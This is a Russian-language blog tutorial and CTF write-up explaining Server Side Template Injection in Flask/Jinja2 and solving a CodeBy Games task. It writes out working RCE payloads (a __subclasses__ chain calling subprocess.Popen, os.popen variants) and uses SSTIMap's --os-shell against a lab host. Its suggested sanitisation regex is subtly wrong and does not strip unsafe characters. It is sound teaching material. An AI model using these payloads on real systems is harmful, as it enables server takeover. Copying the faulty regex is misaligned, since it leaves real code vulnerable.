SSTI exploitation
@cherepawwkaВсем привет!
Сегодня мы на простом примере довольно подробно разберём уязвимость SSTI и закрепим изученный материал, решив несложный таск на платформе CodeBy Games тремя способами.
Приступим!
Введение
Что такое Server Side Template Injection?
Server Side Template Injection (SSTI) — это веб-эксплойт, который использует небезопасную реализацию механизма шаблонов.
Что такое механизм шаблонов?
Механизм шаблонов позволяет создавать статические файлы шаблонов, которые можно повторно использовать в приложении.
Что это значит?
Рассмотрим страницу, на которой хранится информация о пользователе, /profile/<user>
. В нашем случае демонстрационное приложение написано на веб-фреймворке Python Flask:
Код может выглядеть примерно так:
from flask import Flask, render_template_string app = Flask(__name__) @app.route("/profile/<user>") def profile_page(user): template = f"<h1>Welcome to the profile of {user}!</h1>" return render_template_string(template) app.run()
Этот код создает строку template и добавляет в нее пользовательский ввод. Таким образом, контент может загружаться динамически для любого пользователя, сохраняя при этом согласованный формат страницы.
Примечание. Flask — это веб-фреймворк, а Jinja2 — используемый механизм шаблонов.
Как можно эксплуатировать SSTI?
Рассмотрим приведенный выше код, особенно строку template. Переменная user, которая вводится пользователем в URI, встраивается непосредственно в шаблон, а не передается как данные. Это означает, что все, что вводится пользователем, будет интерпретироваться движком веб-приложения.
Каково влияние SSTI?
Как следует из названия, SSTI — это эксплойт на стороне сервера (server-side), а не на стороне клиента, такой как, например, Cross-Site Scripting (XSS).
Это означает, что уязвимость более критична, потому что вместо захвата учетной записи пользователяна веб-сайте (для чего часто используется XSS) злоумышленник может захватить сервер.
Возможности SSTI практически безграничны, однако основная цель эксплуатации, как правило, заключается в удаленном выполнении кода (RCE).
Обнаружение уязвимости
Поиск точки внедрения
Строка эксплойта должна быть куда-то передана. Это и называется точкой внедрения. Существует несколько мест, с которыми мы можем взаимодействовать в приложении, например, URL-адрес (и параметры в нем) или поле ввода. Важно также не забывать проверять наличие скрытых входных данных, это очень удобно делать при помощи прокси, например, Burp.
В нашем примере есть страница, на которой хранится информация о пользователе: http://10.10.237.109:5000/profile/<user>. Эта страница принимает пользовательский ввод.
Если мы введём имя, то увидим в предполагаемый результат:
Фаззинг
Фаззинг — это метод поиска и определения уязвимости сервера путем отправки нескольких символов с целью нарушить работу системы.
Это можно делать вручную или с помощью специального ПО (например, ffuf или Burp Intruder). В этой задаче в образовательных целях мы рассмотрим ручной процесс.
К счастью для нас, большинство шаблонизаторов используют аналогичный набор символов для «специальных функций», что позволяет относительно быстро определить, уязвимо ли приложение к SSTI. Например, известно, что символы ${{<%[%'"}}% используются во многих шаблонизаторах.
При ручном фаззинге эти символы стоит отправить по одному в уязвимый параметр, располагая их один за одним.
Процесс фаззинга выглядит следующим образом:
Продолжим этот процесс, пока не получим сообщение об ошибке или некоторые символы не начнут исчезать из вывода:
Идентификация используемого шаблонизатора
Теперь, когда мы определили, какие символы вызвали ошибку приложения, пришло время определить, какой механизм шаблонов используется. В лучшем для нас случае сообщение об ошибке будет включать информацию об используемом механизме шаблонов, что означает, что этот шаг выполнен. Однако, если это не так, мы можем использовать дерево решений, чтобы определить механизм шаблонов:
Источник: PortSwigger
Несложно ориентироваться по приведенному дереву решений: необходимо использовать нагрузку с самого левого края (корень дерева) и включить её в наш запрос. Далее, в записимости от результата, нужно следовать по соответствующим стрелкам вправо.
- Зеленая стрелка — полезная нагрузка обрабатывается шаблонизатором (т.е. 49);
- Красная стрелка — выражение отображается в выводе (например, ${7*7}).
В нашем примере процесс выглядит следующим образом:
Так как приложение при используемой нагрузке отражает пользовательский ввод, мы идем по красной стрелке:
Приложение распознаёт ввод пользователя и обрабатывает его, поэтому мы идем по зеленой стрелке. Этот процесс продолжается до тех пор, пока мы не дойдем до конца дерева решений.
Глядя на приведенное выше дерево может возникнуть вопрос: почему Jinja2, а не Twig? Вы должны знать, что одна и та же полезная нагрузка может иногда возвращать успешный ответ более чем на одном языке шаблонов. Например, полезная нагрузка {{7*'7'}}
возвращает 49
в Twig и 7777777
в Jinja2. Поэтому важно не делать поспешных выводов на основании одного успешного ответа.
Исходя из полученных результатов, можно сделать вывод, что приложение использует механизм шаблонов Jinja2.
После определения механизма шаблонов нам теперь нужно изучить его синтаксис. Лучший источник для этих целей — официальная документация.
При изучении механизма шаблонов всегда нужно искать следующую информацию (независимо от языка или механизма шаблонов):
- Как начать print statement;
- Как закончить print statement;
- Как начать block statement;
- Как завершить block statement.
В случае с нашим примером в документации указано следующее:
- {{ — начало print statement;
- }} — конец print statement;
- {% — начало block statement;
- %} — конец block statement.
Эксплуатация
На данный момент мы знаем:
- Что приложение уязвимо для SSTI;
- Точку внедрения;
- Используемый механизм шаблонов;
- Синтаксис механизма шаблонов.
Планирование атаки
Давайте сначала спланируем, как мы будем эксплуатировать обнаруженную уязвимость.
Поскольку Jinja2 — это механизм шаблонов на Python, мы рассмотрим способы запуска команд оболочки в Python. Поиск в Google помогает найти различные способы запуска команд операционной системы, ниже я выделю некоторые из них:
# Метод 1 import os os.system("whoami") # Метод 2 import os os.popen("whoami").read() # Метод 3 import subprocess subprocess.Popen("whoami", shell=True, stdout=-1).communicate()
Создание POC-нагрузки (универсальной)
Объединив все полученные знания, мы можем создать Proof Of Concept нагрузку (POC). Следующая полезная нагрузка использует синтаксис шаблонизатора и команды и оболочки, объединяет их в конструкцию, которую обработает механизм шаблонов:
http://10.10.237.109:5000/profile/{% import os %}{{ os.system("whoami") }}
Однако Jinja2 по сути является "подъязыком" Python, который не интегрирует оператор import, поэтому приведенная выше нагрузка не сработает.
Создание POC для Jinja2
Python позволяет нам вызывать текущий экземпляр класса с помощью .__class__, и мы можем вызвать получить этот атрибут для пустой строки:
http://10.10.237.109:5000/profile/{{ ''.__class__ }}
Классы в Python имеют атрибут с именем .__mro__, который позволяет нам подняться вверх по унаследованному дереву объектов:
http://10.10.237.109:5000/profile/{{ ''.__class__.__mro__ }}
Поскольку нам нужен корневой объект, мы хотим получить доступ ко второму объекту полученного списка (индексу 1):
http://10.10.237.109:5000/profile/{{ ''.__class__.__mro__[1] }}
Объекты в Python имеют метод .__subclassess__, который позволяет нам спускаться по дереву объектов:
http://10.10.237.109:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__() }}
Теперь нам нужно найти объект, который позволит нам запускать команды оболочки. Поиск при помощи Ctrl-F дает нам совпадение:
Поскольку весь этот вывод представляет собой просто список (массив в Python), мы можем получить к нему доступ, используя его индекс. Мы можем получить нужный индекс либо методом проб и ошибок, либо посчитав его позицию в списке.
В этом примере позиция в списке 400 (индекс 401):
http://10.10.237.109:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401] }}
Приведенная выше полезная нагрузка вызывает метод subprocess.Popen, и теперь все, что нам нужно сделать, это правильно вызвать его для выполнения команд ОС:
http://10.10.237.109:5000/profile/{{ ''.__class__.__mro__[1].__subclasses__()[401]("whoami", shell=True, stdout=-1).communicate() }}
Теперь мы можем манипулировать запросом, как нам угодно:
Процесс создания полезной нагрузки занимает некоторое время, особенно если мы делаем это в первый раз, однако важно понять, почему эта нагрузка работает.
Для справки: на GitHub есть великолепный репозиторий в виде шпаргалки по полезным нагрузкам для всех веб-уязвимостей, включая SSTI. Также не могу не упомянуть портал HackTricks, который также довольно хорошо описывает эксплуатируемую уязвимость.
Исследование
Теперь, когда мы эксплуатировали приложение, давайте посмотрим, что на самом деле происходило при внедрении полезной нагрузки.
Код приложения, который мы эксплуатировали, был приведен в начале статьи:
from flask import Flask, render_template_string app = Flask(__name__) @app.route("/profile/<user>") def profile_page(user): template = f"<h1>Welcome to the profile of {user}!</h1>" return render_template_string(template) app.run()
Посмотрим, что происходит внутри приложения при разном пользовательском вводе:
# Исходный код template = f"<h1>Welcome to the profile of {user}!</h1>" # Код после внедрения cherepawwka template = f"<h1>Welcome to the profile of cherepawwka!</h1>" # Код после внедрения {{ 7 * 7 }} template = f"<h2>Welcome to the profile of {{ 7 * 7 }}!</h1>"
Ранее мы узнали, что Jinja2 будет обрабатывать код, который находится между набором символов {{ и }}, поэтому эксплойт сработал.
Устранение уязвимости
Что можно сделать, чтобы избавиться от уязвимости в приложении?
Безопасные методы
Большинство шаблонизаторов имеют функцию, позволяющую передавать ввод в виде данных, а не объединять ввод в шаблон.
В Jinja2 это можно сделать с помощью второго аргумента:
# Insecure: Concatenating input template = f"<h1>Welcome to the profile of {user}!</h1>" return render_template_string(template) # Secure: Passing input as data template = "<h1>Welcome to the profile of {{ user }}!</h1>" return render_template_string(template, user=user)
Санитизация данных
Вводу данных пользователя нельзя доверять. Каждое место в приложении, где пользователю разрешено вводить данные, должно быть "дезинфицировано".
Это можно сделать, спланировав, какой набор символов мы хотим разрешить, и добавив его в белый список.
Например, В Python это можно сделать так:
import re # Remove everything that isn't alphanumeric user = re.sub("^[A-Za-z0-9]", "", user) template = "<h1>Welcome to the profile of {{ user }}!</h1>" return render_template_string(template, user=user)
Самое главное не забывать читать документацию используемого механизма шаблонов :)
Практика
Для закрепления изученного материала решим простой таск с платформы codeBy Games под названием "Поздравительное приложение":
К заданию приложена подсказка, где нам сообщают, что приложение используем шаблоны Flask. Мы уже знаем, что таск будет связан с SSTI, так что приступим к решению.
Перейдем на страницу приложения:
Сразу видим ссылку на, скорее всего, уязвимый шаблон:
Так как мы знаем, что приложение написано на Flask, вероятнее всего в качестве шаблонизатора используется Jinja2. Однако давайте пройдем по дереву решений:
Шаблонизатор идентифицирован!
Осталось дело за малым: подобрать полезную нагрузку и эксплуатировать её.
Способ 1. Аналогичный примеру ход решения
Начинаем подбирать полезную нагрузку аналогично рассмотренному в теории примеру:
Мы получили RCE! В этом случае искомый субкласс имеет индекс 361. Поместим запрос в Repeater и начнём искать флаг:
Мы помним, что искомый флаг находится в переменной SECRET_KEY в конфигурации приложения. Посмотрим директорию, из которой запущено приложение:
Мы находим 2 файла: app.py и requirements.txt. Второй файл нас не интересует, так как представляет собой лишь зависимости, необходимые для работы приложения а Flask, а первый скрипт (app.py) содержит исходный код нашего приложения, в том числе и конфигурационные переменные:
Флаг получен!
И очередные баллы в копилке :) Ниже я представил код уязвимого приложения и выделил место, из-за которого мы смогли получить RCE:
Способ 2. Payloads All The Things | HackTricks
выше я говорил, что на GitHub есть репозиторий в виде шпаргалки по полезным нагрузкам для всех веб-уязвимостей, включая SSTI. Давайте же возьмём оттуда нагрузку и попробуем её:
Попробуем по одной нагрузке из каждого раздела:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
Как мы видим, эксплуатация успешна, и с заготовленными ранее полезными нагрузками добиться RCE было ещё проще!
Способ 3. tplmap | sstimap
Для автоматизации поиска и эксплуатации SSTI-уязвимости умные люди написали скрипт tplmap, который по сути своей работы и даже названием напоминает sqlmap.
Скачать его можно из репозитория на GitHub.
К сожалению, подружить его с моей системой не удалось, так что его изучение я оставляю на ваше усмотрение :) Скрипт последний раз обновлялся 5 лет назад и использует "поломанные" библиотеки, с установкой которых возникают проблемы.
Но, немного поискав в интернете, я нашел форк на этот репозиторий, в котором vladko312 переписал старый инструмент, расширив его функционал. Новая тулза называется SSTIMap (ещё больше похоже на SQLMap), и скачать её можно отсюда.
В отличие от tqlmap, с ней проблем не возникло:
Я сначала не нашел, каким образом эксплуатировать уязвимость в URL без параметра, поэтому в итоге скрипт помечает параметр как неуязвимый:
Однако, почитав --help (всегда стоит читать мануалы), я нашел похоже интересующий меня параметр:
Попробуем вставить звёздочку по уязвимому пути:
На этом этапе я сильно обрадовался, так как параметр действительно позволяет нам делать многое. Давайте же запустим его с переключателем --os-shell, чтобы получить интерактивную оболочку на уязвимом сервере:
Кстати, судя по имени хоста, мы находимся в докере :)
Осталось лишь получить заветный ключ, как мы делали ранее.
Приложение и хост скомпрометированы! Очевидно, что способ эксплуатации с SSTIMap наиболее удобен и прост (как "раскрутка" SQL-инъекций с SQLMap), однако этот вариант не всегда может сработать, особенно если речь идёт о фильтрах и WAF. Поэтому понимание работы уязвимости и умение эксплуатировать её вручную — ценный навык. А скрипт идёт в мою копилку тулзов для пентеста👾
На этом статья подошла к концу. До новых встреч!